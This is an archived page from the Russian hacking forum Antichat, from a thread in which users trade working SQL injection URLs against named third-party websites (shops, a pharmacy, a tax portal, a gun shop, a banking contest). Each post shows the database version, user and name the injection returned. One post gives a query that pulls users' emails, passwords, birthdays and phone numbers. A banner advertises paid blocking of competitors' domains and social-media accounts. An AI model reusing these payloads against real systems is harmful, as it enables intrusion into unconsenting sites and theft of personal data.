Форум АНТИЧАТ - SQL Инъекции

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

		Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
SQL Инъекции

Страница 1195 из 1242

1195

Опции темы

Поиск в этой теме

Опции просмотра

#11941

23.04.2010, 22:09

AC//DC

Познающий

Регистрация: 28.07.2009

Сообщений: 98

Провел на форуме:
247684

Репутация: 136

Код:

http://tsp-shop.ru/vendors/?vendor=-2+union+all+select+1,2,3,concat_ws(0x3a,@@version,user(),database(),@@version_compile_os),5,6,7,8,9,10,11,12,13+--+

version : 4.1.25-log
user : tspshop@localhost
database : wwwtspshopru
os : portbld-freebsd6.2

#11942

23.04.2010, 22:37

KENT1994

Участник форума

Регистрация: 25.09.2009

Сообщений: 147

Провел на форуме:
1768674

Репутация: 65

PHP код:


		
			
http://www.pharm-system.com/index.phtml?page=news&id=-1 UNION ALL SELECT %String_Col%,2,3,4,5,6,7,8--

Host IP: 62.149.0.14
Web Server: Apache/2.2.14 (FreeBSD) mod_ssl/2.2.14 OpenSSL/0.9.8e DAV/2 PHP/5.2.12 with Suhosin-Patch
Powered-by: PHP/5.2.12
DB Server: MySQL >=5
Current DB: pharm_system

PHP код:


		
			
http://director-online.com/buildArticle.php?id=1154  UNION ALL SELECT %String_Col%,2,3,4,5,6,7,8--

PHP код:


		
			
http://www.helilooja.ee/liikmed.php?pid=106 UNION ALL SELECT 1,2,3,%String_Col%,5,6,7,8,9,10,11,12--

Цитата:

http://www.nalog.od.ua/a.php?article_id=4680&rid=-1 UNION ALL SELECT 1,2,3,%String_Col%,5,6,7,8--

Последний раз редактировалось KENT1994; 23.04.2010 в 22:51..

#11943

23.04.2010, 22:56

total90

Участник форума

Регистрация: 30.09.2009

Сообщений: 148

Провел на форуме:
11581319

Репутация: 241

Отправить сообщение для total90 с помощью ICQ

milegyek.hu

Код:

http://www.milegyek.hu/open.php?id=-283+union+select+1,2,3,user(),version(),database(),7,8,9,10,11,12,13,14--

User:saldoweb@localhost
Database:milegyek_hu
Version:5.1.37-1ubuntu5.1
PR5

ukrfoto.dp.ua

Код:

http://ukrfoto.dp.ua/download.php?id=283+union+select+1,2,3,4,5,concat_ws(0x3a,user(),database(),version())--

User:saldoweb@localhost
Database:ukrfoto_dp
Version:4.1.25

dnsteel.com.ua

Код:

http://dnsteel.com.ua/index.php?id=-283+union+select+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9--

User:dnsteel@localhost
Database:dnsteel
Version:5.0.86

#11944

24.04.2010, 00:06

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

Провел на форуме:
568388

Репутация: 87

Код:

http://www.philatelic-traders-society.co.uk/browse.php?detail=92+union+select+1,concat(version(),database(),user()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--

version - 5.0.27
db - pts
user - pts@localhost

Код:

http://www.bbimages.co.uk/product_detail.php?prod_id=374&store_cat_id=-16+union+select+1,2,3,version(),5,6,7,8,9--

version - 4.1.22
db - bbi001
user - bbi001user@localhost

Код:

http://www.tko-sports.co.uk/product_details.php?prod_id=-9+union+select+1,2,3,concat(database(),version(),user()),5,6,7,8,9,10--

version - 5.0.45
db - Research1
user - Research1@server213-171-218-145.livedns.org.uk

Код:

http://www.machinz.co.uk/Productview.php?product=-1+union+select+1,concat%28database%28%29,version%28%29,user%28%29%29--

version - 5.0.90-community
db - privile1_machinzdb
user - privile1_machinz@localhost

Код:

http://www.imageculture.co.uk/product.php?prod_id=-1+union+select+concat(database(),version(),user()),2--

version - 5.0.77
db - brentwood
user - client@localhost

#11945

24.04.2010, 00:14

AC//DC

Познающий

Регистрация: 28.07.2009

Сообщений: 98

Провел на форуме:
247684

Репутация: 136

Код:

http://lib.prometey.org/?cat_id=-1+AND+1=2+UNION+SELECT+1,2,3,4,5,6+from+user--+

version : 5.0.67-community
user : ---------
database : --------
os : pc-linux-gnu

#11946

24.04.2010, 06:12

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

Провел на форуме:
568388

Репутация: 87

Код:

https://fonic.chriskeim.com/B2CPortal/cp_productcard.asp?PageNo=PRODUCTCONFIG&MasterId=103706%27%20or%201=convert%28int,%28SELECT%20@@version%29%29--

#11947

24.04.2010, 13:29

total90

Участник форума

Регистрация: 30.09.2009

Сообщений: 148

Провел на форуме:
11581319

Репутация: 241

telspravka.com

Код:

http://ustilimsk.telspravka.com/fam.php?id=-283+union+select+1,concat_ws(0x3a,user(),database(),version())--

User: u_telspravka@localhost
Database: telspravka
Version: 4.1.22-log

yp.md

Код:

http://www.yp.md/news2/news.php?id=-283+union+Select+1,2,3,4,concat_ws(0x3a,user(),database(),version()),6,7,8,9,10,11,12,13--

User: ypmd_tester@localhost
Database: ypmd_test
Version: 5.0.90-community-log

#11948

24.04.2010, 16:56

Dima X

Новичок

Регистрация: 14.12.2008

Сообщений: 10

Провел на форуме:
230582

Репутация: 31

Отправить сообщение для Dima X с помощью ICQ

Банковская олимпиада banksbattle.ru (banksbattle.ane.ru)

Код HTML:

http://banksbattle.ane.ru/333.php?archiv=2+union+select+1,concat(email,char(47),pass,char(47),birthday1,char(47),phone_number,char(47),city),concat(f,char(47),i,char(47),o),concat(preferable_act_types,char(47),future_achiev),5,6+from+users--

USERNAME:
banks@localhost
DBNAME:
banksbattle
TABLES:
admins,news,presentation,team_road,users

Поля в таблице users совпадают с названиями в регистрации
(например, f - фамилия, i - имя, phone_number - номер телефона)

Последний раз редактировалось Dima X; 25.04.2010 в 12:04..

#11949

24.04.2010, 17:19

[Feldmarschall]

Участник форума

Регистрация: 06.01.2010

Сообщений: 136

Провел на форуме:
568388

Репутация: 87

Код:

http://www.jlgolf.co.uk/product.php?prod_id=-1+UNION+SELECT+1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15--

Version: 4.1.19-standard-log
Database: jlgolf
User: jlgolf@localhost

Код:

http://www.bobsgunshop.com/listings.php?id=120+union+select+1,2,version(),4,5,6/*

Version: : 4.0.25
Database: bobsguns

Код:

http://www.melaniefoster.co.uk/category.php?categoryID=-1+union+select+1,2,3,4,5,6,7,8,concat(version(),user(),database()),10,11--

Version: 5.1.26-rc-5.1.26rc
Database: db62601_melaniefoster
User: db62601@72.47.228.14

#11950

24.04.2010, 23:15

nemaniak

Участник форума

Регистрация: 10.06.2008

Сообщений: 201

Провел на форуме:
1174919

Репутация: 229

thebigspur.com PR-5

Код:

http://thebigspur.com/extras/gallery_image.php?image_id=-3131+union+all+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12+--+

Код:

5.0.90-rs:bigspur_cont_p@localhost:bigspurcontent

crimsonconfidential.com PR-5

Код:

http://crimsonconfidential.com/extras/gallery_image.php?image_id=-42+union+all+select+1,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12+--+

Код:

5.0.90-rs:crimson_cont_p@localhost:crimsoncontent

Страница 1195 из 1242

1195

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая	k00p3r	Чужие Статьи	0	13.06.2005 11:26
SQL инъекция и Oracle, часть 2	k00p3r	Чужие Статьи	0	13.06.2005 11:24
Sql инъекция и Oracle, часть первая	k00p3r	Чужие Статьи	0	13.06.2005 11:23
Внедрение Sql кода с завязанными глазами	k00p3r	Чужие Статьи	0	12.06.2005 20:48
SQL Injection в Oracle	k00p3r	Чужие Статьи	0	12.06.2005 12:41

Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)

Быстрый переход